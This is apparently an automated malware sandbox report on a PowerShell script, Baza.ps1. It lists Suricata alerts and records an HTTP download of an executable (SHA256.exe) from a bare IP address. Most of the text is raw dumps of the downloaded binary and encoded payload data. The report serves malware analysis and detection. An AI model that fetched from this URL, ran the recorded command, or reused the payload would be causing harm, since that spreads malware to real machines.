Baza.ps1| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | Aug. 6, 2024, 10:15 a.m. | Aug. 6, 2024, 10:17 a.m. |
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Baza.ps1
3044
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2400022 | ET DROP Spamhaus DROP Listed Traffic Inbound group 23 | Misc Attack |
| TCP 192.168.56.102:49163 -> 147.45.44.131:80 | 2016141 | ET INFO Executable Download from dotted-quad Host | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2016538 | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.102:49163 | 2015588 | ET HUNTING Suspicious Windows Executable WriteProcessMemory | Misc activity |
Suricata TLS
No Suricata TLS
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://147.45.44.131/files/SHA256.exe | ||||||
| request | GET http://147.45.44.131/files/SHA256.exe |
| Data received | HTTP/1.1 200 OK Date: Tue, 06 Aug 2024 01:15:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 03 Aug 2024 13:47:10 GMT ETag: "cc000-61ec7ae3a1c90" Accept-Ranges: bytes Content-Length: 835584 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ PE L ù)Ö à " 0 ´ îÓ à @ @ Ó O à H .text ô³ ´ `.rsrc à ¶ @ @.reloc ¾ @ B ÐÓ H À' Ü« ( *â~ r p( ( ~ o ( ~ o (8 ( * ( *Ê( r6 p( o *ÎÐ ( rÑ p( %¢% ¢o ¥" *ÎÐ ( rá p( %¢% ¢o ¥ * ( ( Ð ( ( ¥ *0 y Ð ( ( # +Vo rñ p( ,>o o o r p( , % ¢o t X i2¤* 0 k % %r p¢%r! p¢%r- p¢%rG p¢%rs p¢%r p¢% rÁ p¢% rã p¢% r p¢% r' p¢% rK p¢% ru p¢* 0 8 þ þ Ð ( ( (! } ~ r p~" ~" ~" o5 -s# z <( 2XX( ³ ($ 3~ { o! - s# z~ { o -s# z )~ { Xo- -s# z3~ { o1 ,s# z PX( TX( ~ { 0 @o% -s# z~ { o) -s# z ø X X( 80 Ð ( rá p( %¢% X ¢o ¥ Ð ( rá p( %¢% X ¢o ¥ Ð ( rá p( %¢% X ¢o ¥ ,w# Ð+ ( r p( %¢% ¢%¢% ¢%i ¢o &~ { Xio) -s# z (X X?Çþÿÿ ( ~ { Xo) -s# z (X( , , X($ 3~ { o - s# z~ { o -s# z~ { o 3s# zÞ#& { (% (& o' Þ X ?oüÿÿ* A 4 A u 0 ô ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + ( ( ( + *0 / (( o) (9 Þ,o* Ü,o* Ü* |
| Data received | 8 Y X y 7 e d y + 6 g s O Y m / f 8 S / B T e / + W M A O / s z A q D 3 p F m t h 4 G 0 8 f x i k b L L J H h + r c J z r 1 T N z i v J 2 9 j v P j r / y g 4 U n C u B o c R w k C f h Y p n 6 + h z 2 a G X b + h E g h g v U f 8 b C Q l t 4 v C r J J v 8 t V O 6 N X f k o h I Q 2 r F T a Z E H Y j D d y i s H k J 0 j W L y L A J w i z 8 P P c U u 3 M O g 3 f t b b W j c C g l f z q Z m 6 l H n i / d 9 Y e R J Y Y d 0 N V U z J G o K c a Z i Q t l K c g q 4 c b r / F / U m H g v v 9 y b C b r l K g c G P Z i x I a z y k r I V e Y 3 E m j V 9 Q w y d A z h F R n f b M R j T G P z Q j + D 4 k J 3 o 7 R w m 3 w C O O O M l X n b N K 9 K i q u a 8 S 3 X 2 U o O c / u Y i D l 1 A v m m t 8 M l i 5 r 2 3 D E S e e U N K m w K + r W s b H q e E 7 Q 0 K R l H l a A l s W g q s N Q a G T 7 F o h w A N f R x p R m C + Z / A t 2 s l v e d K k p i s p N G n B K g m U f x 7 2 l Q z R s h G p V O c 4 / x S Q u d L b u L o e 6 9 w / l u C z w V f b 9 2 2 o S r v / Y Y C / M T t f u h a h 7 c G N W p a v v h M 7 R L Q + 1 x X Y 6 f d k y Z 5 O 1 W 6 f r M H J X x i C G 0 4 V h j 0 l v 3 Y E 3 r / S W L b r Y o 7 u T 2 O A W b Y S Z c 4 E c O 2 9 9 Q j 2 C p 9 r A + 2 L x F k 1 k q U 9 V C D J j z 0 p L S D Y B + H n g Z 8 P + O Z h V 4 F I L H Q r d l k E a R h L o O 6 1 8 X O 5 b u b a T a Z 8 G i R 2 s 6 M A Z Y n J 1 i c D G N 3 R Q f I B 3 c F 1 c v r Q o b Y w c E Z T T J e x y a I 1 f V T I i 5 W K C C k I j 0 P T 1 s W Y 0 C B v k P m X f V S A a 0 I A z / t q A 8 B h / P H z i 8 W M I p j r p w n j L e a u m j B s I n + + Q V j 6 u Z p D y 1 2 j C x n o 2 t R C g w q S j E W q x Z X O 4 J e X s 8 4 4 L 9 Y Z x e 9 6 c q n R 8 / p 3 Z 4 C / k 8 3 I A z 2 E P L e S 2 g M 9 u B 6 u T K w 6 3 E T e b A 8 G j p + H Y a a Z 1 v e P p Y E x 4 T P A U q c r A d y H n 0 g f I a / 1 R d f Q D B X i z N G 4 9 H u L V k p 8 o m k 4 9 J C 3 a u i G i L G 5 k u Q O N G I V b x b p k C v m + 9 D s D t J 0 l n i A X p z U 0 W I Q o k k 3 Q V J 2 r Z C v u S q x F 1 y Q U c / d i e l h O p B c x w d Q 4 f / 4 g Y x U o / b 1 l O t k s Y x Y z i G 9 d A c / M v K g K X Z e 4 z z H m E v j N u j 2 i Q B a h T l i E 7 m t B I U O V a K d X Z j O 2 T 6 o 3 X H N / s a b I 8 + 9 c A S 1 P J c e R Y s G B R J B 0 A Q n s 4 L A 1 j 5 D G U w S R m 4 p 4 u B V R n c g c f K 0 u a t R 8 q W b g x O J d 8 0 o / q w R d n r F R x x n D 9 S w i 9 B a v Q I w H X 6 6 V 8 c b Q B I o 4 0 o g a y u e l K M x B N x 4 p O C R t 9 r K Y U M u w b 9 m q 1 s V b v 2 R 4 r + 5 A a E 3 c s I h K n S t A X 2 4 n + Y O o 8 0 L k b K k H L V M T 6 A V y k T f q a X R m n W l N b d V m 2 D 8 Y J R h U U 5 k h w b E t R x Y / a Z m K 1 F c Z a I A C b h e 6 9 c x J C E y M J L Q E G d L u b H 8 9 W V h X q p 5 E G 6 H G C D |
| Data received | A V S Q 6 I a G Z y K V / e s 6 L 0 7 f c F x G O U g 2 q q Y T 4 b R B 3 a 2 H n T g f 6 L u c H C z O 0 M 7 Q x z 0 C 5 o B k U G f x G M k A b U V i M S z n R v h / h O m M P z 3 B 3 Q z M 7 N h c B T x m Z R X 5 e 6 h 0 k W 4 Z c k j G m 9 P 6 R k C 3 r 8 I u G h G e o t e W s D w b D S z E F Z x M J m K / b J m 2 P b e Q j H H 0 R q W Z Q M 6 R 2 v A 8 g C i U X u G B U a + V 6 U d i n T a Q S G s 0 o Y e 7 b j W Q y O k I P V B E 3 Y J I K J U P w K a E Z N g g F f 9 3 M 9 I d z J B Z u N a 0 Z o W F V c p 6 H t F V D O j S C J 8 8 I u g 5 A 7 F W 5 P q 4 r p p o O k v e L z o l g 3 n e i q u L / S 0 7 8 d S K T 8 i L T Z A 5 e E R 3 p M p z Z 7 j v e c W J o e 8 S u u F A / n L 1 3 1 o / E z s h s I m 4 1 5 / 3 h o T M y 8 o 0 t G z z l b M l W k G Q / R l e K Q 0 M K S W g F c W D p 4 y 0 f W g I f a G S 4 5 C q w 2 + T K g z 9 Q n b 1 i P x o q i M v p t h 6 u 4 Z u H p n O G G I b 7 T i u 1 7 c f P 1 J 8 U R 5 M B R z H p 4 I L 3 6 Z n W A H Z Q p y g I v s 2 7 1 W g n Z i e W 8 F w t k p H x 8 C 8 c c U Z 3 L p q Y H f 1 x B S K x t 1 f H 4 8 U 1 0 6 a S l 1 l Y B + t l a p D U 4 h e 1 Z U i z 4 x X u u z Y U X + d / M O A Z K R d D 3 e A / T Z N f i Y k k K b 7 2 U R N g L Z o B 2 u v U S 4 y 1 G P 0 / 4 l j o i V 8 J B c i E O S n w F B K J a 0 l b c w l I + x 1 g g 3 w c Z Y O 2 e j 0 n O W E + W Q f n N i v 2 p o F + v Z Z / b E q b V B j F 5 3 3 o s I C f 1 7 6 E x v v x N V B a r O 7 q U o n d s o 8 p z c 2 9 y W n N k i 8 y d s P 9 v U s 0 C H I i J a d W t 9 o 2 C x F D s P x v K P h D K 8 s B 5 v q O 2 T V T j + 4 3 T 0 V D o e a 2 S J P 8 L w x h f s j d 6 8 9 6 M Z e Q h i X O t B p 1 n f Q 1 Q j I V k U 3 0 2 U W F q M V M j d s P 4 3 Q K / V 1 0 s e T k N A C T 4 W y a o G C + s 0 s c F l C 0 B 6 s m j z y 4 L 8 v j t P F I C N Q 7 X 5 D 3 m j x X 1 3 1 s T O O O i 2 g M W b + 5 8 5 Y Y W n m Y G + j l l L I T v B R Q R q u V 9 m 2 f H F F S f o 7 g Y B 8 C 0 J G Z T i 3 w W g D t K a / 5 u 3 2 i H m E A r 4 h u K h h P z 2 Z Y 1 K g 5 I Z A g n i c 1 l X a 8 9 d 0 8 k 8 C 5 q D I e o 5 u L 3 K g 2 y k P F f h n 8 H 1 g 3 c M J 7 g s J R a q j Z N Q v N e B h C I G W u g V X j Z X I 4 U e a i S t H Y w Y 3 4 y F t H 6 Q r Q 2 G x 7 D U 1 X O J 2 C P N Z W k C M N E Z H z 7 H 2 1 R b 1 2 K h F F U H t D m 0 y 2 O A u Q K 4 b g p q N e 6 O 3 m K o 6 A Z q x j a h F 7 Q V Y U Q k o 7 w W S 3 9 Y j 7 1 M R m + D 2 R 1 t e h f Q T R G A 7 A 7 P O j 4 4 V P Y s o + n C P e R S 5 R Q M b Z G W A O D T O C v x u M 4 W + r a Y q T + Y 5 Y / Z p g l c J 6 d h g 4 O X 9 g L V P E Q a v X O p B F 9 U y U E P o H p E n N j i L U f 3 X q r S g Z T d 7 m l y W Y S g 0 8 k E p q / 2 i l w d a E E 6 5 Q v q m g I d l A 1 d y S 8 G m Z f 4 X Z c Y o 9 Q v V Q W 8 d |
| Data received | M N p Q b c j 2 J F O v Q a I H e d X 9 x g 8 n k 2 x Q L Q t p K j 2 q u i G X l o r 1 9 Z g 6 2 P S y 3 J x u 8 + B s b P y U n W N i 8 1 s Q 2 a Z V k f p 4 J + A x g 4 X p C u I d Y U k e Q r O d L P j Y 1 0 t 9 7 e c 3 Y q A Z W 0 Q A n X 2 C R i E j Z t d I N A l A K n N Y J Y r t f K L v n h + / z G M M Y h u 5 e Z T X Z Z O F r p Q I G O Z 4 V X 8 G L b j b 2 N X 7 Y 5 T x 9 K V z U + P K s q A 8 M B o u m B N F C F V S 2 w s k F w h X F Z o s r 2 B W S d O L P f N M 1 6 d k q V C V Z h Q P g Q 1 r e V F 9 4 A 5 Z P f x g E g c G H W Q m O L V H 7 3 W E p 3 G O T I w z 3 K J j 9 v T N w N e D T S a P B 3 f l F U r S u L K G b J U s c n 8 u n y F 3 a X u l y d t g y M 1 S 3 o Y 9 M X R t 7 N U / 0 j e h C f b c m Q r l S 8 5 q z W O I k W H 9 z 3 x u o 2 Q l 7 9 N a E E 2 A Y x n 7 V + i t D G u S z s 9 V 0 b u g k G M m T z u M + S O f m + e n l T V q J t J C Y 2 + U N x G i R c M z s 5 + s j 7 a u 4 Y e m K i / J l E S a + W d N d U L s 5 4 R c 2 A 1 e 7 e U b 3 u y 5 3 s h R 4 W m 6 q 4 C G w S L t w 9 R 9 / H V 1 N 7 A y M J Y l G 0 e R I e u t N n O 6 n N w L y E t H v 0 o m T T 0 3 0 p R + r E 7 q m d / H y I 9 b O 4 n I k G H 3 A / u m k P F y C 3 s N u 5 M s 0 x T G Z 1 I 9 9 V q S y h i s a G N 2 g S G v i f y h G z 5 s c / U 8 e r U E z l P v b 8 W T s T 8 S s C n K b R + X B a Z e g B Q F 5 h C 3 c F 8 E 4 x F P j n x 5 T 3 l 2 K 9 3 F e o y 6 U 5 Q 2 W x S I s Y I 6 O v E g g i g / K N G 4 / S j B 1 E F b F b d D F H 9 / 0 H G S 5 L d 9 a e s 5 I H U 2 A c A T 8 T N Y N y 4 s 5 6 Z c 1 a Q p c s 5 / r o W a H R C B s v t J m I U W o M k g B 6 b q 5 4 e w s j S 8 I i 6 8 X W b u e O S F v f T L 2 7 V F 2 g + M i D g V 6 F P 4 W K g t U x x N m A s r k L j H v M p J c P 6 9 r D m e V J v X Z + Y u 2 L M m X g w v D Y i F g b 7 F s 3 i e y O f c G h V / w w n i E F Z I N 8 v 4 0 d h d B r L p 6 T D O r g V c c O l O l X U k Z c Y 1 4 H e X S c 5 R a Z R B b 8 u b v x S j g 6 b y u d k F X b M 9 N j G 5 J q a O S 9 8 / e f M v 6 F A Z H p l g K t m 2 C z 7 L e 7 B F M w Y D Y C Z J L O a v h L h a s h f m 3 m o R p L / H 1 J a O I 4 V K A K Y W U 1 6 J w i Y y N p s 7 o R 2 H J G N f f c x H p s m S e D x 2 4 c k Z / r f 6 4 g 6 S l l P + 6 L q u C W n 7 k 0 K 4 n 4 1 l c c 1 S k V C 6 O F A 9 z n q q 1 t U m R + K i d O w i / S K 7 R 5 F l E l U r 1 2 V N R F R w I x z W H I E k r P K F c W l Y L x a l 8 m 2 M r s R 6 6 4 n q 9 n O B A 3 F 9 3 Q W p 4 v K 9 v G s E A H y r U 5 a v 0 H 5 U P i 9 Y 1 V 9 Q / 4 g 5 C f L z f y X s o D u u H 6 0 T z W F h 2 q / r o O O Y i n A h B Q 4 p 0 X p J z 9 4 Q Y Y O X 5 C 8 r d S 2 e M H f / E a d b l k n A J F 2 g h D X H z J k j 4 N G O c C 4 l b U f Q 7 n h x f R y 8 f V y h X c r F 7 g p I 6 3 / z g H 8 K N P 9 c |
| Data received | x u W A f 6 r P + Q M H C 4 Q L A b 7 L I O B d 6 W C j o U P 5 z e N 1 r B b q x R h A i O x t + V X v e s 8 7 d x J R I M a 6 5 H y t U J K P O / E W X 2 M Z a 0 v x n Q j g a x 4 S K 0 E N z U / 0 L P X F 7 P f H e d H l l P 9 R U L 2 3 3 c m N o N X k E C D 8 k 2 T U X L h 0 Y n Z D s g B y + b g z 5 D 7 W m x p 8 5 E 1 Y W 7 U i H G 2 W v g H g U J d T E c u W P G U S L n X 1 2 O p c G Q n t 6 U d f j u z G y z B 6 e S e n I o W w q y j P E Q f y K J 7 s c v P 2 B + U Y h U z 4 R N / + h U I n x + s 1 V H x G E 4 E L 6 j e K I B H L 3 M H 4 8 0 P K K O U b N J Y 6 w b 7 l b X b k x O P l U R u f / a 4 Y P / y K 3 S x u L d w c + L Y x J L X r C K 9 m 4 i 0 L c o c B N c Y z M V o 4 r s b C / T X I 0 0 g 9 + A I 3 z 9 + Q G 8 m 2 L H E a w D F n n u H V + x T C y / n D y R H O + A H o + v o P C Z z 7 R N G N v P M W J t A P k e X j v H s Q A N I v H o B q x q e b d Y X J x 4 / 2 N + x n p l P T F H q + r r 2 t b A q x u z S 2 V c U C m A Y 9 G J j p R P 3 / 0 D 1 Q 2 U s N F A 5 n g n n E 3 i M 4 1 8 B I Y N 8 Y 8 l + U I 0 a H U c x S N n U o b B b l f W W U 3 k / 1 S n e + X 5 o b T / h A D a y 9 2 r k r e T e l S T C 8 u 3 9 P U y L F U H e D P L 2 Z s 2 9 S 9 F 4 6 W a n b y 4 2 7 i 4 t D V Y v A V x / t 4 h 5 1 7 X 3 3 z j d X Y n E M s i f c N 7 q O I e 2 h C u 9 + H 5 h i k w 8 0 e T W a A 1 A t B H W b h T p w 6 c A g Q J / u S H I + c O f 0 K O f 8 x i p o h F N f v J Q H 2 z n R 7 q A 6 A 2 V P 3 4 s K M a L E Y Z h x r o A v u m t Q Q p j n 2 Y 1 O 5 D p F e f f r 3 4 Q Z i h 9 w r A G w o g n s i K y n U C x r J S K N c w z M d F 8 t u 2 T B H T 4 d n J 7 3 b b C d i x 7 U x o 9 5 U P j K z H E X h P x i 2 F 8 w c j 8 t A T A I D 4 S 4 h g p C q i B h W L Z 4 l q O m M 5 H n j T 3 s 5 + a Q h e k Q j h M Z 5 1 o K I N 6 c H f m M d S L q x m r j x K 5 P q m E 0 u q E + + 4 N n 4 0 l E h h p Z K / c F 8 Q b 9 r c I l 8 2 l 1 e + 2 o l X P I j F a u i 5 h 7 + D h c B 1 v V u X I R V d L R f k 7 v E j o i B g A C 1 2 N N 6 Y H F 4 H t 5 C b K B M u I 0 5 u w U 9 a r I 8 s S J Z h 9 H q R X e N t H Y J 0 L M 1 S l C 2 F c V 3 z h d m 1 J z / R M H F p G C / v y p U N 5 7 H / k w J W H Y 0 S w J T M I b B 6 L H H K a i J F v n G H x p P 9 0 c 4 g W Z j 8 9 P z i Q Y O 2 j R a K X N U 9 E F h c 9 x q 5 1 5 8 / c I K x V R b 4 9 2 h B 1 S Y v p u E j v / T e a V V G W o 2 w J V x H u a g d m T j e Z + 7 A B c t / m T V P T u j 7 x Y h K P w 9 F z a U v 4 2 X / y I s F t O G W q 0 0 f f 0 L X U K n H X U B M 6 2 4 C y i c s d H d c D u u d 4 s h 6 V 4 i J Z w t V U n e Q k N d H k x 3 j F V A 0 C 1 Z O C B f r 2 m o G o 1 7 I c A r c k 9 r p 0 h E 2 S D H P h T p 5 N r n U o k 7 i o 6 4 x 0 C l u 4 S 5 o n M 8 H w T X R W m q u 2 T Z E a B r P g 1 W I 6 o + 8 E k |
| Data received | m K b 2 x l Y K b N r 2 X D m R L z I O b L O L G 3 S g t h x W p F O 2 V E n + f R v L D j X n g 0 S 4 a Q E h N v S 9 O I q 3 L Q d / M X g X W P x i 4 C B i 6 Y Z v f 3 F 6 2 p 9 6 I 4 N v 4 b 6 J Y d H R u D F B p N M G y 6 w U R G y b U H i M c d s M t R f g L K H t t N D Y L j c Q 6 R x U v w s u g 1 C v 2 E O b G d o T X 1 h 2 G 6 T Q / O z F s l J 7 R L D q 7 0 q N 1 M v o Y 3 t z / / v Z g S t y s f J 9 k n H + E V X j f H n x Y c 8 E h 5 y 9 5 J Y 5 + k N 5 r Z n 1 + q 3 F v W m 1 9 A 6 / u 9 I p P 4 W r r s 5 e t 5 z m 8 7 D S X X l i 1 v o x / 0 f z O / u A b 0 Z D b 9 s 1 e 1 8 H C s r l g v l n J M K N Z S Q B D S o p D g r g 0 7 N v c 3 p b M T 2 e z y U w j T O U y T d u u g s 3 U J 9 f i E b C / k p 4 / k R 6 8 d m L o J / l / l Z R g O j f Z 5 5 3 E d 9 z D O K T Y j 1 8 3 5 5 p n h S Q 3 U f 0 e o d N w T V 4 c z a W T W U 1 b r e P 1 n W U 1 i 3 C z Q m s 8 N t h X p R a k Z / 1 F t 6 d v P h X U 6 u O l y l F k p v x O 2 s + K 7 y x e a T 8 / F L 2 j 3 / F D d U 4 0 3 q B + O T u 1 Y y G h / C s z k J H V d Y v 0 n l R 7 i k F i j N L H N C H I 4 V I c h z u Q l v i v a x T 0 3 k F c R p c V T 7 k A v w 4 / P 9 m 5 D Y / 3 x G W 7 M 4 0 3 x t q L c u C A F 2 x 6 N 0 H 9 / n b l F K b v j A T F 5 e K N j w 8 A u e o b Q G 3 M b k 5 W 6 b t Q F U Y x F i 6 / o I c P 1 Y p P n + A g M v B P W B / + 5 d a T U 3 y d 0 U n 8 K 6 M 0 S O a g t q e x o V Y 1 o 2 V L b x Y 6 z v d 5 k I M n P g K Q 5 H D g O k 0 I 6 r v 0 I v q A g H 5 O T p 1 w x D W 8 l S k 0 5 b 0 U m t a W s p j D e C A B Q w U A 2 O G m y T Z f A p v O z q p y F C A E j e V c C q E c U / I T 5 k S 8 o f o Q l R F T P 2 x x I K y F 7 C Q q Y s D 4 z j 4 B n Y A D H 2 J L N / h n N a z N g C q / R m y B E b P M L n D L J q H J a H 4 Q r g t G S h v z Q + V h 2 t 0 + r L I L m 1 U E q h U / y s j V / 6 d O h b D t F 2 y l 1 q Q t v G v e c + j n O e W w 2 d F h d + D r 3 f L U N V / q J u s 9 I c r S S 3 A N d O X u Q X d L g j g g R T A D 2 f w M X Y r D G 4 U / / p Y O 2 z Q e q 6 1 G E d m N m G N h c 8 e y Z T i r Z a 0 2 C e 7 s j u Y L t 2 m L T u g i / 4 i y k Q i W / 2 j n / j P p X u l I U o u 6 l Y D R 9 V D c t 1 M G t D B R s y N r Q j r l K 0 v L k o v c q j 1 B h x R v b f q w m V a H e h m p r l G v 8 Q F 9 V s Z U q E g t H f V l t g L K D 7 V N s L / K P x H 1 I s K y n z y / f 8 K h o E I O W G p B V F U / 7 J P f q D D z F e j I Z 0 i K G 1 i D 7 k j e z o L E Z Z s 5 a b C C l 1 f i d / H m c g M f y f 9 R c y m / B 5 / w I F S V z s s L x L 7 C u I h 2 a 0 C F W w S m Q K U d o w Y p i A Z p G P n M D w o Z g S L o v D P A f z l p a J 1 c T R X g k y 1 N k + G I X J D g W l 4 p a + 2 0 e Z H a F Z J D J u 3 x y u W A P X d G + 0 P j f e + w k y 7 I 6 I 7 U m J n z N D j |
| Data received | Z Z C Q 7 F M I + H G n 9 C O i I i 1 / V E D P o 1 s P w 2 a 4 x a J W z V V x s K Q v q j A X W 3 j F Y u F D 4 5 9 z a D N 0 p t Y r f n H + l I E 4 8 B u M C p x w m 0 Q g K D d b + v K F q + K N B a 8 J n 0 C d H Z r r M p r b l b x Z M 6 + u o L x S f I K u 7 6 c K T B 8 s u s U U K C 9 P z A v L G n 0 b 8 k q H e c B a Q 3 r r 6 Z m 6 W Z L Y X D e i x E / Q A K 7 x q t 4 C v G O T n I o r c u 8 8 g J W 7 3 + l L m 4 B W M Z l 3 5 3 N H r s N B Q v Z l I L i S l 3 l b V d Y v T u Y a X f s Q c k I 9 S G E d g W H f r u g n X u p j 6 W c 2 B X S J 3 R Q m D l r C V 8 u R / T 2 I h 2 x X 3 g j z X 3 3 W P b b U N b t l O d I C G A R R 6 p a P J 3 m C l J A I N I f E 8 q 9 e + N 1 j f 7 U o J e A 0 l U g 4 Z V E g b r H C d w d f 7 D H t t F A C Z s 5 a I L I x J U z X A 1 y P 9 k d G z b B o k + 1 A n B n F f y b l P y l s z h H o 3 2 m b y D J 9 w M d e q o o N g d V j P m o Q h x c L F M w 2 a l v f K e P T H X E B k l c B w 7 M X l p F z B S M e h s h p B m X 2 B r r V 0 3 C 0 7 w x 1 p J U j 2 c / + r E q I b F A Z m 5 r f P A P A 2 h w 5 8 8 5 F y Q C F Z n N H 3 2 B d A e 2 C Y 6 z D L b U k 2 T g B p g H C h D B Q g l j G B V W i o V K l 6 f 4 f R o S M / b t 9 j n T P H f p v 1 I L K T 8 S d 6 y 2 h c Y 9 O s h V X y c A P C V H o W k 4 0 V Q x N r G Y j 9 6 w C C E I N l 5 C L s K t T x 9 G a F G T D Q 5 5 t n 3 u 0 b l R c q T i U f L Y M t o Y y + k g / l l G r p C B Q P G o m t s T X 4 N r u l 3 l / x t c k k P K K 0 x S O l s H K / 2 b M m y y b 8 u q j R i R x m I Q f 3 T p / b h 2 M g L 5 X n Y f Y 9 A 9 I S 0 A r w z P y w 0 N + z f x 8 w 8 h V n t n C T l B L 5 T M g v Y 9 Y / D q m m E S J x B o F Z 7 M v W v 5 v M t y k V w V Y G d M s b A d o Q c g 2 Z w 5 K q A C w b G c l z P H D V y c S Z 0 + E Z W 6 4 E y N h + q u i L y N K L H N 5 G p r f Q B I w 4 6 T G N M 4 j g 5 e H u n + B D S I Q E N 7 h 8 7 t J d v o 9 b + E l G S Z n b G c D B A A p 1 Z x H 7 6 7 V 4 c / 1 9 3 7 / y c T i f 3 d f W 5 E W T 7 l v L d 7 j P P b n U W H n b N 9 0 S n l B X r 0 9 Z / I P 7 a a A k N u g t 5 A N O k a 4 u w 7 t I B + a I v e L G p a g 2 L p S 1 d B 8 a R + Y s a o 5 Q 5 c r B 1 2 V c W O E p a d I R a L V j 6 b 4 0 r 8 0 A d M r 1 R H J 4 S u E e A r 4 q a h A k o N g + L m P V n C w 9 k 3 M S B V r t 8 x F G 9 K m + b i z y v w 5 k N s B 3 R t y s Y J L O 3 P 3 U z F I k 6 M m z t 0 I 2 I g i c h y J 9 g G J S y H 9 V l 8 / Y 8 6 r 4 t V H G F 6 7 D e c g 7 x T k / h U k K 7 V 2 E c 1 n Z u h q m c u r j a b N v m T W 9 s 4 + v I A L z Y A o I K l A N v 2 r S F s S A M d Q t 5 n x M 9 e E m b U j P P J T 0 g J Q h T i 7 q / 1 s U G 3 l Z T P j p G Y y v E 2 8 A / D N 7 G 8 q X u R S P l t j 4 S A B 6 q B u K N d 7 7 u Z a O Y 0 L Z u 7 j U B 7 L K J y e |
| Data received | n n K B 7 9 O r Q S T k Q r T 6 W + o R l W g M Z q p X j G s m U l b t J L 8 S 8 e 6 c d V K l 0 3 q 9 J Z z F 3 L u O R q c z 3 Q B 3 r H A v F R t G 9 R a R 2 Q o 5 d 7 R u w C q U 2 O t k u p 7 N K W 0 O m G Y M c d f 0 9 b W b 7 u L q o A H 6 r C Z c b v V K / 1 N b 7 F f 1 j c R G / G i z n t N S M 5 v f y y 0 r s N P / O F O h x X R + W 3 h + r 1 l 8 C l g D 3 0 S p h f T m m p y S y I U l Y u u 2 t C D K E i u A P 4 C n v u v j w + 3 H r u / R 7 y O S m u b h l t E P q G 3 b / / G R 4 w y Y w 4 o l U H Q s a b 2 Y w Z x 0 I T y b 1 c P C 3 a r s V j V b e + i v m n 8 a X + + U / v T f r 8 f 4 E B A B G / a I H h H y Z r m H W 7 a d 8 z 6 J j f 5 k 9 E 6 A q Y / m X v d P v m f g L h P 9 r 9 + H K H R p L 2 k T c i 8 k m W B i J g 7 Q F r Q 9 q q r Z p X f W s W A V S b L q N A x t j 2 D c t g B E p 0 n u n 7 Q h U I L S n / 8 v T x l M 3 K c Z w T V Y q z Z Y H E 7 / t E T U K 3 P X c U 8 / V s I 6 x K 8 d 7 T W g K l y 4 0 q l K x v r K o H p T s + U R 9 J 8 Y s T D 3 4 v 7 H a k E 2 u J w Q U B h U X X H e n H k l 4 U j a x e U p + W U x h 0 Z + Z I W c n I u e 7 D N 3 q P 3 e 9 9 D i N C 1 j Q s j p f G x H o d 3 D w w m z n g w c I 3 0 O B 9 v l e j d s v o b w W B i S Z M i 0 h W q l 0 R f L 2 w d w 1 f r 0 w / L e s f x N m Y f d t 9 d i V o P 5 q b R Z n q x v o W 2 M 7 r x c l S X E 4 i 3 Z i t C O T 5 L v E V M n q F q 8 V Z t 8 1 v n P G e F T r f q o f B J u O n m t D C 8 X s 4 y g q I M O / i t j i d D U c n y Z 8 l C X V Q S u u j O o P S F Z e g W X G 3 / T O M Q a 7 r u i V d i Z n 8 U e 4 Z u 7 b 0 l W O 9 S z Z B F R u I U P h L j T 6 C 3 o H m 9 q + E t J C T m g k c g x k k M C 4 e i v Z v V 7 4 n E o i H Q J 2 N 2 I + g U R Q u K e r Y a p Z Q E u h 4 G Z 3 j l 4 C f e l 0 K / D B j J h j Z g I b x E n m X x P s E u f w E C O B f G p s q N U X a 4 W F u 7 R M E y 4 M J p x G l c C s c y p m X s 0 a w T h u y P t 6 f y s F O Z 1 Z T K 6 0 u Y v J w N x a 9 Q U O r y W 6 e g n C i 8 9 a 8 x h + n 3 I 1 9 k W h s 3 j i d o j P w G T 2 N p t t R Z Q a g z g k s / S n q k B B 5 g m v Z X p P P s F w E O V b b Z l 2 / u l / q I 3 9 f 8 g 7 D o B R o D f f K H / v n q Q r B O p c a o Y i r 2 Q U G y 8 i f e x X x J B 5 K T O q 0 v y n 6 w t X D 5 a V 3 / d O Q A L 4 A j L k q W n r l Y U l l d y 3 q v V 0 Y y 3 T P U C x j Z 0 b 6 4 R 5 L u R G w i j 0 5 7 Q 1 P 9 M P / L u Q l v K y e n a H a l t R w Q A J A X Y c P J D w S 9 U a j d 0 5 R c V f 2 j V m 0 R 5 D r 6 5 e m g q 2 C / 0 1 u O j 5 E h L R L n 9 G P A j i T u i s g L t i H 1 u Y U g p B V 1 B p R U 1 n U 5 X k T G C I J e z p N j n j 3 P 0 8 B W B V f R d K k R V + F y f q r u z w 8 x G l s B Y R P K 5 n 2 t 3 k C j K d r p 2 H u G c e E N F 1 L N C 6 y T 2 f Y J 9 Z d Q C c 9 Z j 5 T D A |
